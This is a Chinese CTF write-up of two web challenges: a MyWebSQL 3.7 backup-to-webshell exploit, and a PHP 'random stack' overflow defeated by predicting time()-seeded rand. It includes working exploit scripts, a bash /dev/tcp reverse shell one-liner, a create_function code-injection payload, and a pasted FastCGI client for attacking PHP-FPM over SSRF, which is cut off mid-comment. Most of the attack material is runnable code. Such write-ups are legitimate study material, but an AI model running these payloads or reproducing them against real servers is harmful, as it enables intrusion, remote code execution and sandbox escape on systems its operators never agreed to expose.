很有意思的题目,研究了一下自认为感觉比较有意思的两个Web题目,记录一下过程。
打开题目链接后发现运行MyWebSQL程序,版本为3.7,搜索得到相关漏洞信息:
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-201902-318
漏洞文档中说明漏洞利用条件为后台,尝试弱口令admin/admin登录后台成功。
创建表并添加一句话木马到表内数据,利用备份功能将该表内数据备份为.php结尾文件,成功获取Webshell(密码不添加引号,避免备份转义导致失败),地址为:
http://35.243.82.53:10080/backups/xxxx.php
连上shell找到flag位于根目录下,但是却没有权限直接访问,但是同目录下发现readflag文件,执行后需要输入验证码:
下载程序并使用IDA进行查看:
发现输出flag处使用了ualarm()函数,将使当前进程在0x3E8u(us位单位)内产生会终止当前进程的SIGALRM信号。
在当前进程收到退出信号前,完成验证码计算并提交,获取flag,只要是考查管道。
因为时间很短,网络延迟高,因此这里攻击脚本只能在服务器上运行,以求快速。
php虽然是题目的默认环境但是感觉并不是特别好用。
首先最常见的system,exec,没有管道,无法获取输入输出进行交互。
接着就是popen,打开一个指向进程的管道,只不过它是单向的(只能用于读或写)。
最后的解决方案proc_open,执行命令,并且打开用来输入/输出的文件指针。
此处为追求程序的速度,不能在php中使用explode,preg_match等准确但损耗性能的函数,可以选取substr或更优雅的str_replace,但可能因为php本身性能偶尔还是会超时。
脚本如下:
<?php
$descriptorspec = array(
0 => array("pipe", "r"),
1 => array("pipe", "w"),
2 => array("file", "/tmp/error-output.txt", "a")
);
$cwd = '/tmp';
$stime=microtime(true);
$process = proc_open('/readflag 2>&1', $descriptorspec, $pipes, $cwd);
$string = stream_get_contents($pipes[1],130);
$string = str_replace('Solve the easy challenge first','',$string);
$string = str_replace('input your answer:','',$string);
$string = str_replace('\n','',$string);
$result = eval("return $rs;");
echo $result;
fwrite($pipes[0], "$result\n");
$rs = stream_get_contents($pipes[1],130);
echo $rs;
fclose($pipes[1]);
这是官方解法,但是对perl却不太熟悉,感觉perl速度可能更快
use strict; use IPC::Open3; my $pid = open3( \*CHLD_IN, \*CHLD_OUT, \*CHLD_ERR, '/readflag' ) or die "open3() failed $!"; my $r; $r = <CHLD_OUT>; print "$r"; $r = <CHLD_OUT>; print "$r"; $r = eval "$r"; print "$r\n"; print CHLD_IN "$r\n"; $r = <CHLD_OUT>; print "$r"; $r = <CHLD_OUT>; print "$r";
最开始并没有发现装有python
结果是python3,似乎丢一个python3的执行文件上去就可执行,打算测试时服务器已经关闭,未测试
ualarm()函数通过SIGALRM信号结束进程,可以通过trap命令修改SIGALRM信号的处理方式:
比如,按Ctrl+C会使脚本终止执行,实际上系统发送了SIGINT信号给脚本进程,SIGINT信号的默认处理方式就是退出程序。如果要在Ctrl+C不退出程序,那么就得使用trap命令来指定一下SIGINT的处理方式了。
trap命令的参数分为两部分,前一部分是接收到指定信号时将要采取的行动,后一部分是要处理的信号名。
首先反弹可以交互bash
bash -i >& /dev/tcp/127.0.0.1/8080 0>&1
重新定义SIGALRM信号的处理方式为不作任何操作
trap "" 14
官方HINT:
表单中输入啥都会返回phpInfo,:
查看源码发现可以添加参数获得源码?source=1
Sandbox.php
<?php
$banner = <<<EOF
<!--/?source=1-->
<pre>
.----------------. .----------------. .----------------. .----------------. .----------------. .----------------. .----------------.
| .--------------. || .--------------. || .--------------. || .--------------. || .--------------. || .--------------. || .--------------. |
| | _________ | || | ______ | || | ____ ____ | || | ____ | || | ____ ____ | || | _____ _____ | || | ______ | |
| | |_ ___ | | || | .' ___ | | || | |_ || _| | || | .' `. | || | |_ || _| | || ||_ _||_ _|| || | |_ _ \ | |
| | | |_ \_| | || | / .' \_| | || | | |__| | | || | / .--. \ | || | | |__| | | || | | | | | | || | | |_) | | |
| | | _| _ | || | | | | || | | __ | | || | | | | | | || | | __ | | || | | ' ' | | || | | __'. | |
| | _| |___/ | | || | \ `.___.'\ | || | _| | | |_ | || | \ `--' / | || | _| | | |_ | || | \ `--' / | || | _| |__) | | |
| | |_________| | || | `._____.' | || | |____||____| | || | `.____.' | || | |____||____| | || | `.__.' | || | |_______/ | |
| | | || | | || | | || | | || | | || | | || | | |
| '--------------' || '--------------' || '--------------' || '--------------' || '--------------' || '--------------' || '--------------' |
'----------------' '----------------' '----------------' '----------------' '----------------' '----------------' '----------------'
Welcome to random stack ! Try to execute `/readflag` 😛
</pre>
<form action="/" method="post">root > <input name="data" placeholder="input some data"></form>
EOF;
echo $banner;
if(isset($_GET['source'])){
$file = fopen("index.php","r");
$contents = fread($file,filesize("index.php"));
echo "---------------sourcecode---------------";
echo base64_encode($contents);
echo "----------------------------------------";
fclose($file);
//Dockerfile here
echo "Dockerfile here"; //此处太长省略
highlight_file(__FILE__);
}
$disable_functions = ini_get("disable_functions");
$loadext = get_loaded_extensions();
foreach ($loadext as $ext) {
if(in_array($ext,array("Core","date","libxml","pcre","zlib","filter","hash","sqlite3","zip"))) continue;
else {
if(count(get_extension_funcs($ext)?get_extension_funcs($ext):array()) >= 1)
$dfunc = join(',',get_extension_funcs($ext));
else
continue;
$disable_functions = $disable_functions.$dfunc.",";
}
}
$func = get_defined_functions()["internal"];
foreach ($func as $f){
if(stripos($f,"file") !== false || stripos($f,"open") !== false || stripos($f,"read") !== false || stripos($f,"write") !== false){
$disable_functions = $disable_functions.$f.",";
}
}
ini_set("disable_functions", $disable_functions);
ini_set("open_basedir","/var/www/html/:/tmp/".md5($_SERVER['REMOTE_ADDR'])."/");
可以得到安装的dockerfile,经过Base64解码后内容为内容为:
FROM ubuntu:18.04
RUN sed -i "s/http:\/\/archive.ubuntu.com/http:\/\/mirrors.ustc.edu.cn/g" /etc/apt/sources.list
RUN apt-get update
RUN apt-get -y install software-properties-common
RUN add-apt-repository -y ppa:ondrej/php
RUN apt-get update
RUN apt-get -y upgrade
RUN apt-get -y install tzdata
RUN apt-get -y install vim
RUN apt-get -y install apache2
RUN apt-cache search "php" | grep "php7.3"| awk '{print $1}'| xargs apt-get -y install
RUN service --status-all | awk '{print $4}'| xargs -i service {} stop
RUN rm /var/www/html/index.html
COPY randomstack.php /var/www/html/index.php
COPY sandbox.php /var/www/html/sandbox.php
RUN chmod 755 -R /var/www/html/
COPY flag /flag
COPY readflag /readflag
RUN chmod 555 /readflag
RUN chmod u+s /readflag
RUN chmod 500 /flag
COPY ./run.sh /run.sh
COPY ./php.ini /etc/php/7.3/apache2/php.ini
RUN chmod 700 /run.sh
CMD ["/run.sh"]
安装了PHP7.3的全部拓展,并且根据HINT运行了全部安装的的服务,Webserver是apache2:
还能发现Base64输出了index.php的源码,解码后发现代码经过mzphp2混淆,这里可以直接花钱解密O(∩_∩)O哈哈~
index.php(Decode)
<?php
require_once 'sandbox.php';
$seed = time();
srand($seed);
define("INS_OFFSET",rand(0x0000,0xffff));
$regs = array(
'eax'=>0x0,
'ebp'=>0x0,
'esp'=>0x0,
'eip'=>0x0,
);
function aslr(&$value,$key)
{
$value = $value + 0x60000000 + INS_OFFSET + 1 ;
}
$func_ = array_flip($func);
array_walk($func_,"aslr");
$plt = array_flip($func_);
function handle_data($data){
$data_len = strlen($data);
$bytes4_size = $data_len/4+(1*($data_len%4));
$cut_data = str_split($data,4);
$cut_data[$bytes4_size-1] = str_pad($cut_data[$bytes4_size-1],4,"\x00");
foreach ($cut_data as $key=>&$value){
$value = strrev(bin2hex($value));
}
return $cut_data;
}
function gen_canary(){
$chars = 'abcdefghijklmnopqrstuvwxyzABCDEFGHJKLMNPQEST123456789';
$c_1 = $chars[rand(0,strlen($chars)-1)];
$c_2 = $chars[rand(0,strlen($chars)-1)];
$c_3 = $chars[rand(0,strlen($chars)-1)];
$c_4 = "\x00";
return handle_data($c_1.$c_2.$c_3.$c_4)[0];
}
$canary = gen_canary();
$canarycheck = $canary;
function check_canary(){
global $canary;
global $canarycheck;
if($canary != $canarycheck){
die("emmmmmm...Don't attack me!");
}
}
Class stack{
private $ebp,$stack,$esp;
public function __construct($retaddr,$data) {
$this->stack = array();
global $regs;
$this->ebp = &$regs['ebp'];
$this->esp = &$regs['esp'];
$this->ebp = 0xfffe0000 + rand(0x0000,0xffff);
global $canary;
$this->stack[$this->ebp - 0x4] = &$canary;
$this->stack[$this->ebp] = $this->ebp + rand(0x0000,0xffff);
$this->esp = $this->ebp - (rand(0x20,0x60)*4);
$this->stack[$this->ebp + 0x4] = dechex($retaddr);
if($data != NULL)
$this->pushdata($data);
}
public function pushdata($data){
$data = handle_data($data);
for($i=0;$i<count($data);$i++){
$this->stack[$this->esp+($i*4)] = $data[$i];//no args in my stack haha
check_canary();
}
}
public function recover_data($data){
return hex2bin(strrev($data));
}
public function outputdata(){
global $regs;
echo "root says: ";
while(1){
if($this->esp == $this->ebp-0x4)
break;
$this->pop("eax");
$data = $this->recover_data($regs["eax"]);
$tmp = explode("\x00",$data);
echo $tmp[0];
if(count($tmp)>1){
break;
}
}
}
public function ret(){
$this->esp = $this->ebp;
$this->pop('ebp');
$this->pop("eip");
$this->call();
}
public function get_data_from_reg($regname){
global $regs;
$data = $this->recover_data($regs[$regname]);
$tmp = explode("\x00",$data);
return $tmp[0];
}
public function call()
{
global $regs;
global $plt;
$funcaddr = hexdec($regs['eip']);
if(isset($_REQUEST[$funcaddr])) {
$this->pop('eax');
$argnum = (int)$this->get_data_from_reg("eax");
$args = array();
for($i=0;$i<$argnum;$i++){
$this->pop('eax');
$argaddr = $this->get_data_from_reg("eax");
array_push($args,$_REQUEST[$argaddr]);
}
call_user_func_array($plt[$funcaddr],$args);
}
else
{
call_user_func($plt[$funcaddr]);
}
}
public function push($reg){
global $regs;
$reg_data = $regs[$reg];
if( hex2bin(strrev($reg_data)) == NULL ) die("data error");
$this->stack[$this->esp] = $reg_data;
$this->esp -= 4;
}
public function pop($reg){
global $regs;
$regs[$reg] = $this->stack[$this->esp];
$this->esp += 4;
}
public function __call($_a1,$_a2)
{
check_canary();
}
}
if(isset($_POST['data'])) {
$phpinfo_addr = array_search('phpinfo', $plt);
$gets = $_POST['data'];
$main_stack = new stack($phpinfo_addr, $gets);
echo "--------------------output---------------------</br></br>";
$main_stack->outputdata();
echo "</br></br>------------------phpinfo()------------------</br>";
$main_stack->ret();
}
可以发现这是一个使用php实现的栈,ORZ,很有意思。
ORZ,现在梳理一下两个页面的代码逻辑:
sandbox.php:
禁用许多函数,比如函数名种包括file、open字符的函数都会被禁用。
foreach ( $func as $f ) {
if ( stripos( $f, "file" ) !== false || stripos( $f, "open" ) !== false || stripos( $f, "read" ) !== false || stripos( $f, "write" ) !== false ) {
$disable_functions = $disable_functions . $f . ",";
}
}
获取全部的内置函数名称,存在$func变量中。
$func = get_defined_functions()["internal"];
index.php:
以当前时间进行随机数播种:
$seed = time(); srand( $seed );
将包含全部的内置函数名称的$func转化为'地址'=>'函数名'的$plt数组,并且被aslr保护,也就是键值随机。
define( 'INS_OFFSET', rand( 0x0, 0xffff ) );
function aslr(&$value,$key)
{
$value = $value + 0x60000000 + INS_OFFSET + 1 ;
}
$func_ = array_flip($func);
array_walk($func_,"aslr");
$plt = array_flip($func_);
栈内初始化时有canary机制,在栈内随机初始化一个$canary,用于检测栈是否遭受缓冲区溢出。
栈内压入局部变量时会校验当前栈内的$canary是否和$canarycheck一致,若不一致就表示遭到攻击,过长的缓冲区溢出就会退出。
function gen_canary(){
$chars = 'abcdefghijklmnopqrstuvwxyzABCDEFGHJKLMNPQEST123456789';
$c_1 = $chars[rand(0,strlen($chars)-1)];
$c_2 = $chars[rand(0,strlen($chars)-1)];
$c_3 = $chars[rand(0,strlen($chars)-1)];
$c_4 = "\x00";
return handle_data($c_1.$c_2.$c_3.$c_4)[0];
}
$canary = gen_canary();
$canarycheck = $canary;
function check_canary(){
global $canary;
global $canarycheck;
if($canary != $canarycheck){
die("emmmmmm...Don't attack me!");
}
}
Class stack{
private $ebp,$stack,$esp;
public function __construct($retaddr,$data) {
$this->stack = array();
global $regs;
$this->ebp = &$regs['ebp'];
$this->esp = &$regs['esp'];
$this->ebp = 0xfffe0000 + rand(0x0000,0xffff);
global $canary;
$this->stack[$this->ebp - 0x4] = &$canary;
$this->stack[$this->ebp] = $this->ebp + rand(0x0000,0xffff);
$this->esp = $this->ebp - (rand(0x20,0x60)*4);
$this->stack[$this->ebp + 0x4] = dechex($retaddr);
if($data != NULL)
$this->pushdata($data);
}
phpinfo的函数地址被默认放在ebp + 0x4(函数结束后eip的下一跳),去$plt映射表中找到函数名,传给call_user_func完成执行,因此正常输入都会返回phpinfo信息。
public function call() {
global $regs;
global $plt;
$a = hexdec( $regs['eip'] );
if ( isset( $_REQUEST[ $a ] ) ) {
$this->pop( 'eax' );
$len = (int) $this->get_data_from_reg( 'eax' );
$args = array();
for ( $i = 0; $i < $len; $i ++ ) {
$this->pop( 'eax' );
$data = $this->get_data_from_reg( 'eax' );
array_push( $args, $_REQUEST[ $data ] );
}
call_user_func_array( $plt[ $a ], $args );
} else {
call_user_func( $plt[ $a ] );
}
}
解决思路:
这是一个缓冲区溢出的题目,和bin的栈溢出的思路没什么太大的区别。首先绕过aslr获取利用恶意函数地址,在绕过canary保护完成栈覆盖,控制返回地址,调用恶意函数完成代码执行。
可以发现不管是aslr还是canary都是根据随机数进行初始化,而随机数的的种子则是每次请求的时间time()。
经过测试发现题目服务器上的时间设置和我们是一致的,服务器time()函数返回的时间和本地time()函数返回的时间一致:
echo time() . "\n";
function _httpPost( $url = "", $requestData = array() ) {
$curl = curl_init();
curl_setopt( $curl, CURLOPT_URL, $url );
curl_setopt( $curl, CURLOPT_RETURNTRANSFER, true );
curl_setopt( $curl, CURLOPT_POSTFIELDS, http_build_query( $requestData ) );
$res = curl_exec( $curl );
//$info = curl_getinfo($ch);
curl_close( $curl );
return $res;
}
$data = array( 'data' => 'Test time' );
$rs = _httpPost( 'http://34.85.27.91:10080/', $data );
echo $rs;
随机数的种子可以获取,因此对rand函数结果产生的的随机数就可以在本地进行预测,因此aslr,canary均失效。
直接根据源码修改得到获取webshell的EXP:
<?php
$disable_functions = ini_get( "disable_functions" );
$loadext = get_loaded_extensions();
foreach ( $loadext as $ext ) {
if ( in_array( $ext, array( "Core", "date", "libxml", "pcre", "zlib", "filter", "hash", "sqlite3", "zip" ) ) ) {
continue;
} else {
if ( count( get_extension_funcs( $ext ) ? get_extension_funcs( $ext ) : array() ) >= 1 ) {
$dfunc = join( ',', get_extension_funcs( $ext ) );
} else {
continue;
}
$disable_functions = $disable_functions . $dfunc . ",";
}
}
$func = get_defined_functions()["internal"];
$seed = time();
srand( $seed );
define( 'INS_OFFSET', rand( 0x0, 0xffff ) );
$regs = array( 'eax' => 0x0, 'ebp' => 0x0, 'esp' => 0x0, 'eip' => 0x0 );
function aslr( &$a, $O0O ) {
$a = $a + 0x60000000 + INS_OFFSET + 0x1;
}
//构造函数地址
$func_ = array_flip( $func );
array_walk( $func_, 'aslr' );
$plt = array_flip( $func_ );
function handle_data( $data ) {
$len = strlen( $data );
$a = $len / 0x4 + 0x1 * ( $len % 0x4 );
$ret = str_split( $data, 0x4 );
$ret[ $a - 0x1 ] = str_pad( $ret[ $a - 0x1 ], 0x4, "\x00" );
foreach ( $ret as $key => &$value ) {
$value = strrev( bin2hex( $value ) );
}
return $ret;
}
function gen_canary() {
$canary = 'abcdefghijklmnopqrstuvwxyzABCDEFGHJKLMNPQEST123456789';
$a = $canary[ rand( 0, strlen( $canary ) - 0x1 ) ];
$b = $canary[ rand( 0, strlen( $canary ) - 0x1 ) ];
$c = $canary[ rand( 0, strlen( $canary ) - 0x1 ) ];
$d = "\x00";
return handle_data( $a . $b . $c . $d )[0];
}
$canary = gen_canary();
$canarycheck = $canary;
function check_canary() {
global $canary;
global $canarycheck;
if ( $canary != $canarycheck ) {
die( 'emmmmmm...Don\'t attack me!' );
}
}
class stack {
public $ebp, $stack, $esp;
public function __construct( $a, $b ) {
$this->stack = array();
global $regs;
$this->ebp =& $regs['ebp'];
$this->esp =& $regs['esp'];
$this->ebp = 0xfffe0000 + rand( 0x0, 0xffff );
global $canary;
$this->stack[ $this->ebp - 0x4 ] =& $canary;
$this->canary = $canary;
$this->stack[ $this->ebp ] = $this->ebp + rand( 0x0, 0xffff );
$this->esp = $this->ebp - rand( 0x20, 0x60 ) * 0x4;
$this->stack[ $this->ebp + 0x4 ] = dechex( $a );
if ( $b != null ) {
$this->pushdata( $b );
}
}
public function pushdata( $data ) {
$data_bak = $data;
$data = handle_data( $data );
for ( $i = 0; $i < count( $data ); $i ++ ) {
$this->stack[ $this->esp + $i * 0x4 ] = $data[ $i ];
//no args in my stack haha
check_canary();
}
}
public function recover_data( $data ) {
return hex2bin( strrev( $data ) );
}
public function outputdata() {
global $regs;
echo 'root says: ';
while ( 0x1 ) {
if ( $this->esp == $this->ebp - 0x4 ) {
break;
}
$this->pop( 'eax' );
$data = $this->recover_data( $regs['eax'] );
$ret = explode( "\x00", $data );
echo $ret[0];
if ( count( $ret ) > 0x1 ) {
break;
}
}
}
public function ret() {
$this->esp = $this->ebp;
$this->pop( 'ebp' );
$this->pop( 'eip' );
$this->call();
}
public function get_data_from_reg( $item ) {
global $regs;
$a = $this->recover_data( $regs[ $item ] );
$b = explode( "\x00", $a );
return $b[0];
}
public function call() {
global $regs;
global $plt;
$a = hexdec( $regs['eip'] );
if ( isset( $_REQUEST[ $a ] ) ) {
$this->pop( 'eax' );
$len = (int) $this->get_data_from_reg( 'eax' );
$args = array();
for ( $i = 0; $i < $len; $i ++ ) {
$this->pop( 'eax' );
$data = $this->get_data_from_reg( 'eax' );
array_push( $args, $_REQUEST[ $data ] );
}
call_user_func_array( $plt[ $a ], $args );
} else {
call_user_func( $plt[ $a ] );
}
}
public function push( $item ) {
global $regs;
$data = $regs[ $item ];
if ( hex2bin( strrev( $data ) ) == null ) {
die( 'data error' );
}
$this->stack[ $this->esp ] = $data;
$this->esp -= 0x4;
}
public function pop( $item ) {
global $regs;
$regs[ $item ] = $this->stack[ $this->esp ];
$this->esp += 0x4;
}
public function __call( $name, $args ) {
check_canary();
}
}
function hexToStr( $hex ) {
$str = "";
for ( $i = 0; $i < strlen( $hex ) - 1; $i += 2 ) {
$str .= chr( hexdec( $hex[ $i ] . $hex[ $i + 1 ] ) );
}
return $str;
}
function _httpPost( $url = "", $requestData = array() ) {
$curl = curl_init();
#curl_setopt( $curl, CURLOPT_PROXY, "127.0.0.1:8080" );
curl_setopt( $curl, CURLOPT_URL, $url );
curl_setopt( $curl, CURLOPT_RETURNTRANSFER, true );
//普通数据
curl_setopt( $curl, CURLOPT_POSTFIELDS, http_build_query( $requestData ) );
$res = curl_exec( $curl );
//$info = curl_getinfo($ch);
curl_close( $curl );
return $res;
}
$phpinfo_addr = array_search( 'phpinfo', $plt );
$gets = 'Rai4over';
$main_stack1 = new stack( $phpinfo_addr, $gets );
$ebp = $main_stack1->ebp;
$esp = $main_stack1->esp;
$padding_num = ( $main_stack1->ebp - $main_stack1->esp ) - 4;
$shellcode = '$dir="./";$file=scandir($dir);print_r($file);';
$post_data = array();
$data = str_repeat( 'A', $padding_num ) . hexToStr( strrev( $canarycheck ) ) . "BBBB" . hexToStr( strrev( dechex( $func_['create_function'] ) ) ) . '000266667777';
$post_data['data'] = $data;
$post_data[ $func_['create_function'] ] = 'Rai4over';
$post_data['6666'] = '';
$post_data['7777'] = "'1';}" . $shellcode . "/*";
$rs = _httpPost( "http://34.85.27.91:10080/", $post_data );
echo $rs;
本地构造栈,可以得到和服务器一样的栈结构($canarycheck,$plt等)
栈由低地址向高地址推进,计算AAA填充长度,需要减去canary的长度(-4):
$phpinfo_addr = array_search( 'phpinfo', $plt ); $gets = 'Rai4over'; $main_stack1 = new stack( $phpinfo_addr, $gets ); $ebp = $main_stack1->ebp; $esp = $main_stack1->esp; $padding_num = ( $main_stack1->ebp - $main_stack1->esp ) - 4;
计算并覆盖正确的canary,EBP值随意,根据call函数:
public function call() {
global $regs;
global $plt;
$a = hexdec( $regs['eip'] );
if ( isset( $_REQUEST[ $a ] ) ) {
$this->pop( 'eax' );
$len = (int) $this->get_data_from_reg( 'eax' );
$args = array();
for ( $i = 0; $i < $len; $i ++ ) {
$this->pop( 'eax' );
$data = $this->get_data_from_reg( 'eax' );
array_push( $args, $_REQUEST[ $data ] );
}
call_user_func_array( $plt[ $a ], $args );
} else {
call_user_func( $plt[ $a ] );
}
}
会调用call_user_func_array( $plt[ $a ], $args );,参数为数组,因此将ret地址覆盖为create_function函数地址,create_function可以接受数组。
需要进入if分支,因此发送数据时需要发送包含create_function函数地址的查询参数。
create_function函数传入的参数数量、还有参数的内容也在是通过栈内pop得到,因此我们因该继续覆盖:
溢出缓冲区的data完整构造如下:
$data = str_repeat( 'A', $padding_num ) . hexToStr( strrev( $canarycheck ) ) . "BBBB" . hexToStr( strrev( dechex( $func_['create_function'] ) ) ) . '000266667777';
现在已经获得受限制的webshell。
当前apache2载入/etc/php/7.3/apache2/php.ini配置文件的php环境禁用了执行命令的函数,但是我们可以利用受限的webshell连接没有额外安全设置的默认安装并运行的的FPM,SSRF完成命令执行。
控制FPM还需要利用auto_prepend_file+php://input包含进行php代码执行,再使用system函数反弹shell。
FPM攻击脚本如下:
<?php
class TimedOutException extends \Exception {
}
class ForbiddenException extends \Exception {
}
class Client {
const VERSION_1 = 1;
const BEGIN_REQUEST = 1;
const ABORT_REQUEST = 2;
const END_REQUEST = 3;
const PARAMS = 4;
const STDIN = 5;
const STDOUT = 6;
const STDERR = 7;
const DATA = 8;
const GET_VALUES = 9;
const GET_VALUES_RESULT = 10;
const UNKNOWN_TYPE = 11;
const MAXTYPE = self::UNKNOWN_TYPE;
const RESPONDER = 1;
const AUTHORIZER = 2;
const FILTER = 3;
const REQUEST_COMPLETE = 0;
const CANT_MPX_CONN = 1;
const OVERLOADED = 2;
const UNKNOWN_ROLE = 3;
const MAX_CONNS = 'MAX_CONNS';
const MAX_REQS = 'MAX_REQS';
const MPXS_CONNS = 'MPXS_CONNS';
const HEADER_LEN = 8;
const REQ_STATE_WRITTEN = 1;
const REQ_STATE_OK = 2;
const REQ_STATE_ERR = 3;
const REQ_STATE_TIMED_OUT = 4;
/**
* Socket
* @var Resource
*/
private $_sock = null;
/**
* Host
* @var String
*/
private $_host = null;
/**
* Port
* @var Integer
*/
private $_port = null;
/**
* Keep Alive
* @var Boolean
*/
private $_keepAlive = false;
/**
* Outstanding request statuses keyed by request id
*
* Each request is an array with following form:
*
* array(
* 'state' => REQ_STATE_*
* 'response' => null | string
* )
*
* @var array
*/
private $_requests = array();
/**
* Use persistent sockets to connect to backend
* @var Boolean
*/
private $_persistentSocket = false;
/**
* Connect timeout in milliseconds
* @var Integer
*/
private $_connectTimeout = 5000;
/**
* Read/Write timeout in milliseconds
* @var Integer
*/
private $_readWriteTimeout = 5000;
/**
* Constructor
*
* @param String $host Host of the FastCGI application
* @param Integer $port Port of the FastCGI application
*/
public function __construct( $host, $port ) {
$this->_host = $host;
$this->_port = $port;
}
/**
* Define whether or not the FastCGI application should keep the connection
* alive at the end of a request
*
* @param Boolean $b true if the connection should stay alive, false otherwise
*/
public function setKeepAlive( $b ) {
$this->_keepAlive = (boolean) $b;
if ( ! $this->_keepAlive && $this->_sock ) {
fclose( $this->_sock );
}
}
/**
* Get the keep alive status
*
* @return Boolean true if the connection should stay alive, false otherwise
*/
public function getKeepAlive() {
return $this->_keepAlive;
}
/**
* Define whether or not PHP should attempt to re-use sockets opened by previous
* request for efficiency
*
* @param Boolean $b true if persistent socket should be used, false otherwise
*/
public function setPersistentSocket( $b ) {
$was_persistent = ( $this->_sock && $this->_persistentSocket );
$this->_persistentSocket = (boolean) $b;
if ( ! $this->_persistentSocket && $was_persistent ) {
fclose( $this->_sock );
}
}
/**
* Get the pesistent socket status
*
* @return Boolean true if the socket should be persistent, false otherwise
*/
public function getPersistentSocket() {
return $this->_persistentSocket;
}
/**
* Set the connect timeout
*
* @param Integer number of milliseconds before connect will timeout
*/
public function setConnectTimeout( $timeoutMs ) {
$this->_connectTimeout = $timeoutMs;
}
/**
* Get the connect timeout
*
* @return Integer number of milliseconds before connect will timeout
*/
public function getConnectTimeout() {
return $this->_connectTimeout;
}
/**
* Set the read/write timeout
*
* @param Integer number of milliseconds before read or write call will timeout
*/
public function setReadWriteTimeout( $timeoutMs ) {
$this->_readWriteTimeout = $timeoutMs;
$this->set_ms_timeout( $this->_readWriteTimeout );
}
/**
* Get the read timeout
*
* @return Integer number of milliseconds before read will timeout
*/
public function getReadWriteTimeout() {
return $this->_readWriteTimeout;
}
/**
* Helper to avoid duplicating milliseconds to secs/usecs in a few places
*
* @param Integer millisecond timeout
*
* @return Boolean
*/
private function set_ms_timeout( $timeoutMs ) {
if ( ! $this->_sock ) {
return false;
}
return stream_set_timeout( $this->_sock, floor( $timeoutMs / 1000 ), ( $timeoutMs % 1000 ) * 1000 );
}
/**
* Create a connection to the FastCGI application
*/
private function connect() {
if ( ! $this->_sock ) {
if ( $this->_persistentSocket ) {
$this->_sock = pfsockopen( $this->_host, $this->_port, $errno, $errstr, $this->_connectTimeout / 1000 );
} else {
$this->_sock = fsockopen( $this->_host, $this->_port, $errno, $errstr, $this->_connectTimeout / 1000 );
}
if ( ! $this->_sock ) {
throw new \Exception( 'Unable to connect to FastCGI application: ' . $errstr );
}
if ( ! $this->set_ms_timeout( $this->_readWriteTimeout ) ) {
throw new \Exception( 'Unable to set timeout on socket' );
}
}
}
/**
* Build a FastCGI packet
*
* @param Integer $type Type of the packet
* @param String $content Content of the packet
* @param Integer $requestId RequestId
*/
private function buildPacket( $type, $content, $requestId = 1 ) {
$clen = strlen( $content );
return chr( self::VERSION_1 ) /* version */
. chr( $type ) /* type */
. chr( ( $requestId >> 8 ) & 0xFF ) /* requestIdB1 */
. chr( $requestId & 0xFF ) /* requestIdB0 */
. chr( ( $clen >> 8 ) & 0xFF ) /* contentLengthB1 */
. chr( $clen & 0xFF ) /* contentLengthB0 */
. chr( 0 ) /* paddingLength */
. chr( 0 ) /* reserved */
. $content; /* content */
}
/**
* Build an FastCGI Name value pair
*
* @param String $name Name
* @param String $value Value
*
* @return String FastCGI Name value pair
*/
private function buildNvpair( $name, $value ) {
$nlen = strlen( $name );
$vlen = strlen( $value );
if ( $nlen < 128 ) {
/* nameLengthB0 */
$nvpair = chr( $nlen );
} else {
/* nameLengthB3 & nameLengthB2 & nameLengthB1 & nameLengthB0 */
$nvpair = chr( ( $nlen >> 24 ) | 0x80 ) . chr( ( $nlen >> 16 ) & 0xFF ) . chr( ( $nlen >> 8 ) & 0xFF ) . chr( $nlen & 0xFF );
}
if ( $vlen < 128 ) {
/* valueLengthB0 */
$nvpair .= chr( $vlen );
} else {
/* valueLengthB3 & valueLengthB2 & valueLengthB1 & valueLengthB0 */
$nvpair .= chr( ( $vlen >> 24 ) | 0x80 ) . chr( ( $vlen >> 16 ) & 0xFF ) . chr( ( $vlen >> 8 ) & 0xFF ) . chr( $vlen & 0xFF );
}
/* nameData & valueData */
return $nvpair . $name . $value;
}
/**
* Read a set of FastCGI Name value pairs
*
* @param String $data Data containing the set of FastCGI NVPair
*
* @return array of NVPair
*/
private function readNvpair( $data, $length = null ) {
$array = array();
if ( $length === null ) {
$length = strlen( $data );
}
$p = 0;
while ( $p != $length ) {
$nlen = ord( $data{$p ++} );
if ( $nlen >= 128 ) {
$nlen = ( $nlen & 0x7F << 24 );
$nlen |= ( ord( $data{$p ++} ) << 16 );
$nlen |= ( ord( $data{$p ++} ) << 8 );
$nlen |= ( ord( $data{$p ++} ) );
}
$vlen = ord( $data{$p ++} );
if ( $vlen >= 128 ) {
$vlen = ( $nlen & 0x7F << 24 );
$vlen |= ( ord( $data{$p ++} ) << 16 );
$vlen |= ( ord( $data{$p ++} ) << 8 );
$vlen |= ( ord( $data{$p ++} ) );
}
$array[ substr( $data, $p, $nlen ) ] = substr( $data, $p + $nlen, $vlen );
$p += ( $nlen + $vlen );
}
return $array;
}
/**
* Decode a FastCGI Packet
*
* @param String $data String containing all the packet
*
* @return array
*/
private function decodePacketHeader( $data ) {
$ret = array();
$ret['version'] = ord( $data{0} );
$ret['type'] = ord( $data{1} );
$ret['requestId'] = ( ord( $data{2} ) << 8 ) + ord( $data{3} );
$ret['contentLength'] = ( ord( $data{4} ) << 8 ) + ord( $data{5} );
$ret['paddingLength'] = ord( $data{6} );
$ret['reserved'] = ord( $data{7} );
return $ret;
}
/**
* Read a FastCGI Packet
*
* @return array
*/
private function readPacket() {
if ( $packet = fread( $this->_sock, self::HEADER_LEN ) ) {
$resp = $this->decodePacketHeader( $packet );
$resp['content'] = '';
if ( $resp['contentLength'] ) {
$len = $resp['contentLength'];
while ( $len && ( $buf = fread( $this->_sock, $len ) ) !== false ) {
$len -= strlen( $buf );
$resp['content'] .= $buf;
}
}
if ( $resp['paddingLength'] ) {
$buf = fread( $this->_sock, $resp['paddingLength'] );
}
return $resp;
} else {
return false;
}
}
/**
* Get Informations on the FastCGI application
*
* @param array $requestedInfo information to retrieve
*
* @return array
*/
public function getValues( array $requestedInfo ) {
$this->connect();
$request = '';
foreach ( $requestedInfo as $info ) {
$request .= $this->buildNvpair( $info, '' );
}
fwrite( $this->_sock, $this->buildPacket( self::GET_VALUES, $request, 0 ) );
$resp = $this->readPacket();
if ( $resp['type'] == self::GET_VALUES_RESULT ) {
return $this->readNvpair( $resp['content'], $resp['length'] );
} else {
throw new \Exception( 'Unexpected response type, expecting GET_VALUES_RESULT' );
}
}
/**
* Execute a request to the FastCGI application
*
* @param array $params Array of parameters
* @param String $stdin Content
*
* @return String
*/
public function request( array $params, $stdin ) {
$id = $this->async_request( $params, $stdin );
return $this->wait_for_response( $id );
}
/**
* Execute a request to the FastCGI application asyncronously
*
* This sends request to application and returns the assigned ID for that request.
*
